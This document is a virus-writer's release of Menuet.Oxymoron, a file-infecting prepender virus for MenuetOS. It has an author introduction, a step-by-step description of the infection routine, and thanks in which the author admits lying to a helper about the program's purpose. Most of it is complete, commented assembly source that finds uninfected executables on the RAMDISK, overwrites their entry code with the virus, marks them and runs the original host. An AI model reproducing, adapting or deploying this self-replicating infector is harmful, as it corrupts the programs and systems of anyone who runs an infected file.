Menuet.Oxymoron    [by Second Part To Hell]
[executable virus in a zip archive]

  

  Menuet.Oxymoron
  by Second Part To Hell[rRlf]
  www.spth.de.vu
  spth@priest.com
  written from february 2004 - june 2004
  in Austria

  I proudly present my latest project: A MenuetOS file infector.
  The following code is the world's first Prepender for MenuetOS.
  I tested the whole code with MenuetOS 0.77 pre 2.8, and it fully
  works.

  Now I want to explain you how the virus works:
	- Searchs it's code
	- Searchs for files
	- Check if the file is a deleted file
	- Check if the file is a directory
	- Check if the file is an infectable Menuet file
	- Check if the file has reseved enougth memory
	- Check if the file is already infected
	- Read file into memory
	- Write first hostbytes (buffer for virus) to end of file in memory
	- Viruscode in memory at buffer generated before
	- Writing Infection sign
	- Save file in RAMDISK
	- Writing Host at Entry Point of file
	- Execute Host

  Now I want to tell you how I got the name for it:
  Oxymoron are tue words which's sence don't exist. An example for that:
  Black Milk, or Burning Water. As I thought, 'Menuet' and 'Virus' are also
  uncompainable, I named my virus 'Oxymoron'. (Per fortuna it's not true)

  There are some guys I have to thank, otherwise I would not have made it:
  + VxF		<-- Much thanks for telling me about Menuet. It's great :)
		    I wonder why you haven't written this thing before me, but
		    ok... Thanks also for helping me when I started to code it
		    with many advises and suggestions. You are great!!!

  + jpelczar	<-- The progging-freak from #MenuetOS :) Much thanks for all you
		    did for me, the whole coding (asm) help, the OS help, the
		    the file system help and much more. Nobody would read this
		    without you! Ohh, sorry that i lied about the purpose of the
		    program, but i don't think that you would have helped me if
		    you have known that I need it for a virus.

  + Ville Mikael Turjanmaa	<-- Hi! Much thanks for writing this great OS,
				    i love it (as you can see). Go on with this
				    piece of code. Two things: The SYSTREE could
				    be better, it was very time-intensiv to test
				    my programs. 2nd: A search engine would be
				    great. It's damn silly to search the files
				    listed in any order. :)

  I have explained nearly every line of the code, so you should understand how
  it works. But to understand the stranges of MenuetOS, you have to play around
  with the OS. I will definitivly write an article about the infection in Menuet
  and other stranges. If you are interested in Menuet, go to the following site,
  www.menuetos.org, download the latest Version of the OS, and do whatever you want
  to do. :)


 - - - - - - - - - [ Menuet.Oxymoron ] - - - - - - - - -

	viruslength	equ I_END-START

use32

 		org     0x0

		db      'MENUET00'		; 8 byte id
		dd      23			; required os & Virus infection Mark
		dd      START			; Program start
		dd      I_END			; Program length
		dd      0x100000		; Required amount of memory
		dd      0x00000000		; reserved=no extended header

START:
	pushad			; Save the original register-contents to stack

	mov	ebp, dword [0xC]	; Save the virussize in ebp

	mov	edi, ebp	; Move the offset of the code-start
	add	di, (flb_bs-START)	; Get the relative offset
	mov	al, 1		; What to write = RESTORING
	stosb			; Write al to memory at offset edi

	add	di, (fle-START)-(flb_bs-START)	; Get the relative Offset
	mov	al, 0x20	; What to write (Space)

	xor	ecx, ecx	; ecx=0
	mov	cl, 11		; How much to write - 11 bytes

   rdfn:			; Restore Data - File Name
	stosb			; Write 20h to edi
   loop rdfn			; Jump to fn2fb if ecx>0 && dec ecx

	xor	eax, eax	; eax=0
	mov	al, 58		; SYSTEM TREE ACCESS
	mov	ebx, ebp	; pointer to fileinfo-block
	add	bx, (dir_block-START)	; Get the relative offset
	int	0x40		; System Call

	mov	ebx, 0x20000	; Move Offset of filename to ebx

nextfile:
	add	ebx, 32		; Next Filename

	cmp	ebx, 0x22000	; Compair ebx with 0x22000
	je	endinf		; If equal, stop it

	mov	cl, [ebx]	; First letter of Filename to cl
	cmp	cl, 0xE5	; Compair with 0xE5 (which is the sign of a DELETED file)
	je	nextfile	; If so, get next file

	mov	cl, [ebx+11]	; Move the attribute bits to cl
	and	cl, 0x10	; AND 0x10 ( ???1 ???? = FOLDER )
	jnz	nextfile	; If not zero, get next file

	mov	edx, ebx	; Save ebx in edx
	mov	edi, ebp	; Move fle (11 letter buffer) to edi
	add	di, (fle-START)	; Get the relative Offset

	xor	ecx, ecx	; ecx=0
	mov	cl, 11		; Move 11 to ecx (counter=11)
   fn2fb:			; File Name to File Block
	mov	al, [ebx]	; Move the ebx-value to al
	stosb			; Write al to memory at offset edi (=11 letter buffer)
	inc	ebx		; Get next letter
   loop	fn2fb			; Jump to fn2fb if ecx>0 && dec ecx

	xor	eax, eax	; eax=0
	mov	al, 58		; SYSTEM TREE ACCESS
	mov	ebx, ebp	; pointer to file-block
	add	bx, (file_block-START)	; Get the relative Offset
	int	0x40		; System Call
	mov	ebx, edx	; Restore original ebx (Filename offset)

	mov	eax, 0x25000	; Move Offset of readed file-content to eax
	cmp	dword [eax], 'MENU'	; Compair a double-word with 'MENU'
	jne	nextfile	; If not equal (=No Menuet-executed file), get next file

	add	al, 8		; eax = 0x25000 + 0x8 = Infection mark offset
	cmp	byte [eax], 23	; Compair a byte with 23
	je	nextfile	; If equal (file is already infected), get next file

	add	al, 12		; eax= 0x25008+12 = Memory used by file
	cmp	dword [eax], 0x50000	; Compaire with 0x50000 (most files have the double)
	jl	nextfile	; If less (too few memory for the virus), get next file

	mov	eax, dword [ebx+28]	; Move the filesize to eax
	shr	eax, 9		; Get the blocks to read
	inc	eax		; For reading the last not completed block


	mov	edi, ebp	; Move the offset where to write
	add	di, (flb_bs-START)	; Get the relative Offset
	stosb			; Write [al] to di in memory

	mov	edx, ebx	; Save ebx to edx
	xor	eax, eax	; eax=0
	mov	al, 58		; SYSTEM TREE ACCESS
	mov	ebx, ebp	; pointer to file-block
	add	bx, (file_block-START)	; Get the relative offset
	int	0x40		; System Call

	mov	ebx, edx	; Restore original ebx (Filename offset)


;;	Write first part (bytes of virus) of the host code to end
;;	because these bytes will be overwritten.

	mov	edi, dword [0x25010]	; Where to write: End of file
	add	edi, 0x25000	; Add memory offset of hostcode

	mov	cx, viruslength	; Viruslength to ecx
	add	ecx, dword [0x2500C]	; add Header-length
	cmp	dword [0x25010], ecx	; Check if the file is smaller than the virus

	jge	notsmall	; If not greater or equal, calculate another offset for writing

	xchg	edi, ecx	; Move the real start to edi
	add	edi, 0x25000	; Add memory offset

 notsmall:
	xor	ecx, ecx	; ecx=0
	mov	cx, viruslength	; How much to read: Viruslength

	mov	edx, dword [0x2500C]	; What to read: Entry Point of file
	add	edx, 0x25000	; Add memory offset of hostcode

   fp2eof:			; First part to end of file
	mov	al, [edx]	; Move a victim code's byte to al
	stosb			; Write al to memory at offset edi (end of file)
	inc	edx		; Get next byte
   loop fp2eof			; Jump to fp2eof if ecx>0 && dec ecx


;;	Overwrite first part of host file with viruscode

	mov	cx, viruslength	; How much to write: Virus length
	mov	edx, ebp	; What to write: Viruscode

	mov	edi, dword [0x2500C]	; Where to write: Entry Point of file
	add	edi, 0x25000	; Add memory offset of hostcode

   vc2vm:			; Virus code to victim memory
	mov	al, [edx]	; Move a virus code's byte to al
	stosb			; Write al to memory at offset edi (Start of victim's code)
	inc	edx		; Get next virus byte
   loop vc2vm			; Jump to vc2vm if ecx>0 && dec ecx


;;	Infection Mark  <-- Against double-infection

	mov	edi, 0x25008	; Move the point of the infection sign
	mov	al, 23		; What to write (the infection mark)
	stosb			; Write infection mark to file

	mov	edi, ebp	; Move the offset where to write
	add	di, (flb_bs-START)	; Get the relative Offset
	mov	eax, dword [ebx+28]	; What to write (Old Filesize)
	add	eax, viruslength	; Add virussize
	stosd			; Write eax to memory at offset edi


;;	Write memory with new built infected file to RAMDISK

	mov	edi, ebp	; Move the offset where to write
	add	di, (flb_kd-START)	; Get the relative Offset
	mov	al, 1		; What to write (1 for writing)
	stosb			; Write al to memory at offset edi

	mov	edx, ebx	; Save ebx to edx

	xor	eax, eax	; eax=0
	mov	al, 58		; SYSTEM TREE ACCESS
	mov	ebx, ebp	; pointer to file_block
	add	bx, (file_block-START)	; Get the relative Offset
	int	0x40		; System Call


;;	Restore some memory stuff and register

	mov	ebx, edx	; Restore ebx

	mov	edi, ebp	; Move the offset where to write
	add	di, (flb_kd-START)	; Get the relative Offset
	xor	al, al		; What to write (0 for reading) = RESTORING
	stosb			; Write al to memory at offset edi

	mov	edi, ebp	; Move the offset where to write
	add	di, (flb_bs-START)
	inc	al		; What to write = RESTORING
	stosb			; Write al to memory at offset edi

	jmp	nextfile	; Get Next File

endinf:

	mov	ebx, ebp	; What to write - Offset of vircode
	add	bx, (rebu-START)	; Add relative address

	mov	edi, 0x20000	; Where to write
	mov	cl, (rebuend-rebu)	; How much to write (whole rebuild-code)

   rb2m:			; Rebuild code to memory
	mov	al, [ebx]	; Move one byte of rebuild-code to al
	stosb			; Write al to offset edi
	inc	ebx		; Get next byte
   loop rb2m			; Jump to rbch if ecx>0 && inc ecx

	mov	ebx, 0x20000
	jmp	ebx		; Jump to rebuild code in memory
				; Now the viruscode in memory will be replaced by the
				; old original host code, and the control comes back to
				; the host file. The reason for using memory for
				; overwrite the viruscode in memory is the fact that
				; we can't overwrite the current running code.



				; From now on, there is just data



 rebu:				; Rebuild the host code
	xor	eax, eax	; eax=0
	mov	al, 0x10	; eax=0x10
	mov	ebx, dword [eax]	; Move the file length to ebx, to get the old hostcode offset

	sub	eax, 4		; eax=0xC

	mov	edx, dword [eax]	; Move the offset of the head-length to edx
	add	dx, viruslength	; Add the virulength to edx

	cmp	ebx, edx	; Check if the file is smaller than the virus
	jge	notsmall2	; If not greater or equal, go on

	mov	ebx, edx	; Move the new offset to ebx

 notsmall2:

	mov	edi, dword [0xC]	; Where to write: 0xC
	mov	cx, viruslength	; How much to write


     rbhc:			; Rebuild host code
	mov	al, [ebx]	; One byte of the saved host code to al
	stosb			; Write al (Host code) to edi (Entry Point of file)
	inc	ebx		; Get next byte
     loop rbhc			; Jump to rbch if ecx>0 && inc ecx

	popad			; Get the original register-contents

	jmp	dword [0xC]		; Jump to Entry Point, now with the original code
 rebuend:			; Rebuild host code: End


	virmsg	db '1st Menuet Virus (Oxymoron) by Second Part To Hell/rRlf'


dir_block:
	dd 0			; 0=READ
	dd 0x0			; 512 block to read 0+
	dd 0x16			; blocks to read (/bytes to write/append)
	dd 0x20000		; return data pointer
	dd 0x10000		; work area for os - 16384 bytes
	db '/RAMDISK/FIRST',0	; ASCIIZ dir & filename

file_block:
flb_kd: dd   0			; 0=READ    (delete/append)
	dd   0x0		; 512 block to read 0+
flb_bs: dd   0x1		; blocks to read (/bytes to write/append)
	dd   0x25000		; return data pointer
	dd   0x10000		; work area for os - 16384 bytes
flpath	db '/RAMDISK/FIRST/'
fle	db '           ',0

I_END: